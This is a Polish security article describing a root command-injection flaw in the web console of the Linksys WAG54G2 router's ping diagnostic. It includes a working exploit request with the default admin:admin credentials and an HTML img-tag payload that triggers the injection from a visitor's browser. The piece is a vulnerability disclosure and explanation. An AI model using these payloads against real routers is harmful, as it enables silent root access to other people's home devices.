Sekcje

Przejdź na skróty do treści. | Przejdź do nawigacji


Baza wiedzy Publikacje root na routerze Linksys

root na routerze Linksys

Tekst jest kontynuacją artykułu zdalny root na routerze SOHO.

Linksys WAG54G2

Kolejnym przykładem możliwości ataku na router domowy jest jedno z urządzeń Linksys produkcji Cisco, działające w oparciu o architekturę sprzętową ARM. Opisane poniżej podatności zostały przez nas zweryfikowane na firmware V1.00.10. W czerwcu 2009 Cisco udostępniło nowy firmware, który najprawdopodobniej poprawia te błędy. 

 

Linksys Cisco router


W tym przypadku tego routera możliwe jest wykonanie poleceń systemu operacyjnego dzięki luce w oprogramowaniu webowej konsoli zarządczej.

Precyzyjniej mówiąc, nie są odpowiednio walidowane parametry wejściowe przy wywołaniu systemowego polecenia ping - z poziomu konsoli webowej. Aplikacja wrażliwa jest na wstrzyknięcie polecenia systemu operacyjnego, przy wykorzystaniu z takich znaków jak: ; & | `` %0a – czyli niejako klasycznego sposobu na wykorzystanie podatności OS Commanding w aplikacjach webowych.

Odpowiednio preparując więc request http, można wykonać polecenie systemowe (jako root) na systemie Linux, pod którego kontrolą pracuje router.
Odpowiedni request http wygląda następująco (jest to przekodowany na metodę GET, oryginalny request typu POST):

GET /setup.cgi?ping_ipaddr1=9&ping_ipaddr2=9&ping_ipaddr3=9&ping_ipaddr4=9&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=9.9.9.9;/bin/ls%20-l&message=  HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=

Odpowiedź na ten request został przedstawiony na Rysunku poniżej:

root na routerze linksys


Jak widzimy, w zapytaniu wykorzystany został dodatkowo nagłówek http o nazwie Authorization, w którym należało przekazać poprawną nazwę użytkownika administracyjnego do routera oraz hasło. Zważywszy jednak na fakt, że większość osób nie zmienia domyślnego hasła administracyjnego routera, możliwe jest wykonanie podobnego ataku jak w przypadku urządzenia ASMAX.  Najprostszy proof of concept tego typu ataku oprzeć można na wykorzystaniu pewnego błędu w przeglądarkach Firefox (opisywanego również na naszych stronach).  Otóż wpisując w pasek adresu przeglądarki URL, zbudowany według schematu:

http://user:password@example.com/ przeglądarka prosi nas o potwierdzenie, czy aby na pewno chcemy się zalogować podanym użytkownikiem/hasłem.

Jednak gdy powyższej konstrukcji użyjemy np. w tagu HTML img, alert nie jest generowany. Bazując na tym fakcie, atakujący może przygotować stronę z tagiem html wyglądającym np. w sposób następujący:

<img src='http://admin:admin@192.168.1.1/setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/touch%20/tmp/yyyyQ&message='>

Jeśli użytkownik posiada omawiany router oraz nie zmienił domyślnego hasła, to  w zasadzie nie zauważy że w systemie operacyjnym jego urządzenia zostało wykonane polecenie z uprawnieniami użytkownika root  (osobom które zmieniły hasło, zaprezentowane zostanie natomiast okno logowania routera).

Więcej informacji

--michal.sajdak@securitum.pl

tekst oryginalnie został opublikowany w magazynie hakin9 (10/2009)

 

Przydatne informacje? Polub nas na facebooku.

Nawigacja
 
Darmowy magazyn o ITsec

zine
Subskrybuj RSS:
RSS